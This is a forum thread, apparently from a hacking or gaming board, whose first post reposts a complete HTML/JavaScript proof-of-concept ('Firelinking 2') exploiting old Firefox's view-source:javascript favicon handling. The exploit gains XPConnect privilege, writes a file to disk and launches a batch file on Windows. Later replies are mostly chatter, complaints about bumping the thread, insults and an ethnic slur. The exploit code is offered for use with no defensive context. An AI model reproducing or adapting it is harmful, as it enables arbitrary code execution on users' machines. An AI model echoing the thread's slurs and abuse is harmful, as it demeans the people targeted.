Results 1 to 13 of 13
  1. #1
    RoB07's Avatar
    Join Date
    Feb 2008
    Posts
    41
    Reputation
    10
    Thanks
    9

    Cool Mozilla Firefox view-source:javascript url Code Execution Exploit:

    [PHP]<html>
    <head>
    <title>Firelinking 2 - Proof-of-Concept by mikx</title>

    <-- This PoC is cross platform : On Windows this example creates the file -->
    <-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
    <-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
    <-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
    <-- run twice in some cases (this will create an additional booom-1.txt). -->

    <link rel="SHORTCUT ICON" href="favicon.ico">
    <script language="JavaScript" type="text/javascript">
    var pf = navigator.platform.toLowerCase();
    if (pf.indexOf("win") != -1) {
    var os = "win";
    } else if (pf.indexOf("mac") != -1) {
    var os = "mac";
    } else {
    var os = "linux"
    }
    function runDemo() {
    // this is an ugly caching workaround
    document.getElementById('outhtml').innerHTML = "";
    document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
    document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
    document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
    window.setTimeout("document.getElementById('outhtm l').innerHTML +=
    document.getElementById('linkhtml_"+os+"').value", 300);
    }
    </script>
    </head>
    <body>
    <div style="font-family:Verdana;font-size:11px;">

    <div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
    <br><br>
    <div style="width:600px">
    <div id="outhtml" style="display:none"></div>

    <textarea id="clearhtml" style="display:none">
    <link rel="SHORTCUT ICON" href="favicon.ico">
    </textarea>

    <textarea id="linkhtml_win" style="display:none">
    <link rel="SHORTCUT ICON" href="view-source:java script:delayedOpenWindow('
    java script:netscape.security.PrivilegeManager.enablePr ivilege(\'UniversalXPConnect\');
    file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
    nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\ ');file.createUnique(Components.interfaces.
    nsIFile.NORMAL_FILE_TYPE,420);outputStream=Compone nts.classes[\'@mozilla.org/network/
    file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutpu tStream);
    outputStream.init(file,0x04|0x08|0x20,420,0);outpu t=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
    PAUSE\\n:END\';outputStream.write(output,output.le ngth);outputStream.close();file.launch();','','')" >
    </textarea>

    <textarea id="linkhtml_mac" style="display:none">
    <link rel="SHORTCUT ICON" href="view-source:java script:delayedOpenWindow('java script:
    netscape.security.PrivilegeManager.enablePrivilege (\'UniversalXPConnect\');file=Components.
    classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile );
    file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfac es.nsIFile.
    NORMAL_FILE_TYPE,420);outputStream=Components.clas ses[\'@mozilla.org/network/
    file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutpu tStream);
    outputStream.init(file,0x04|0x08|0x20,420,0);outpu t=\'booom!\';outputStream.write
    (output,output.length);outputStream.close();','',' ')">
    </textarea>

    <textarea id="linkhtml_linux" style="display:none">
    <link rel="SHORTCUT ICON" href="view-source:java script:delayedOpenWindow('java script:
    netscape.security.PrivilegeManager.enablePrivilege (\'UniversalXPConnect\');file=Components.
    classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile );file.
    initWithPath(\'~/booom.txt\');file.createUnique(Components.interfac es.nsIFile.
    NORMAL_FILE_TYPE,420);outputStream=Components.clas ses[\'@mozilla.org/network/
    file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutpu tStream);
    outputStream.init(file,0x04|0x08|0x20,420,0);outpu t=\'booom!\';outputStream.write
    (output,output.length);outputStream.close();','',' ')">
    </textarea>
    <br><br>
    <a href="#" onclick="runDemo();runDemo();">Run exploit</a>
    </div>
    </body>
    </html>[/PHP]

  2. #2
    milanho's Avatar
    Join Date
    Dec 2007
    Posts
    13
    Reputation
    10
    Thanks
    0
    what is it? what exploit?

  3. #3
    Alen's Avatar
    Join Date
    Oct 2007
    Gender
    male
    Location
    Liquid Generator
    Posts
    27,920
    Reputation
    2548
    Thanks
    4,224
    My Mood
    Fine
    Check the code, so far all that I know is that it bypasses security and makes a file lol

    No idea what's in the file since I ain't gonna check, but if you want to know, go through the code

  4. #4
    rambone11's Avatar
    Join Date
    Feb 2008
    Posts
    98
    Reputation
    10
    Thanks
    4
    quote "Check the code, so far all that I know is that it bypasses security and makes a file lol "

    omg XD

    ps: mozilla ownz ie :P

  5. #5
    DTas2's Avatar
    Join Date
    May 2007
    Location
    Orlando, FL
    Posts
    1
    Reputation
    10
    Thanks
    0
    Agreed. Mozilla pwns IE but then again I think the original version on Mozilla pwns Firefox.

  6. #6
    face-pirate's Avatar
    Join Date
    Jul 2008
    Posts
    4
    Reputation
    10
    Thanks
    0
    This will delete your c:/ drive. right?

  7. #7
    ~claw~'s Avatar
    Join Date
    May 2007
    Gender
    male
    Location
    In my room 0.o
    Posts
    849
    Reputation
    11
    Thanks
    25
    this will be good for runescape for veiwing its source code

  8. #8
    GG2GG's Avatar
    Join Date
    Mar 2008
    Gender
    male
    Location
    United Kingdom
    Posts
    3,382
    Reputation
    21
    Thanks
    4,294,967,295
    My Mood
    Blah
    nice necro noobs

  9. #9
    Luke420's Avatar
    Join Date
    Jan 2009
    Gender
    male
    Location
    The Computer :/
    Posts
    6,768
    Reputation
    674
    Thanks
    982
    My Mood
    Cold
    SMFD NEWPHAG GET LIKE ME

  10. #10
    headsup's Avatar
    Join Date
    Apr 2009
    Gender
    male
    Location
    Pa
    Posts
    1,232
    Reputation
    8
    Thanks
    208
    My Mood
    Cynical
    yea cuz u can epicly bump 2 year old threads and get away with it!!

  11. #11
    -malware_suxs-'s Avatar
    Join Date
    Aug 2009
    Gender
    male
    Location
    The Computer :/
    Posts
    578
    Reputation
    10
    Thanks
    24
    My Mood
    Twisted
    i found the rat orly


    My sotw
    View My Video
    Entart mad

    [img]https://i163.photobucke*****m/albums/t289/joshcarr_2007/ololz.png[/img]


  12. #12
    Luke420's Avatar
    Join Date
    Jan 2009
    Gender
    male
    Location
    The Computer :/
    Posts
    6,768
    Reputation
    674
    Thanks
    982
    My Mood
    Cold
    SDFU rat stupid chink

  13. #13
    Illuminatus's Avatar
    Join Date
    Aug 2009
    Gender
    male
    Location
    New Zealand
    Posts
    1,497
    Reputation
    2
    Thanks
    46
    My Mood
    Tired
    Holy shit...
    That has got to be the biggest bump I've ever seen




    Press The Thanks Button If I Helped =D
    Quote Originally Posted by mamakiller13 View Post

    and im aint fag,
    FORMERLY KNOWN AS SloaMoeDaea

Similar Threads

  1. Replies: 14
    Last Post: 01-26-2010, 11:15 PM
  2. IE, Mozilla Firefox, Google Chrome?
    By Slipknotn209 in forum General
    Replies: 7
    Last Post: 11-12-2009, 08:28 AM
  3. How to make Mozilla FireFox 5x faster (vid)
    By kilpackj2 in forum General
    Replies: 0
    Last Post: 07-12-2009, 01:58 AM
  4. Replies: 12
    Last Post: 05-19-2009, 10:29 PM
  5. Replies: 0
    Last Post: 10-13-2008, 09:24 PM

Tags for this Thread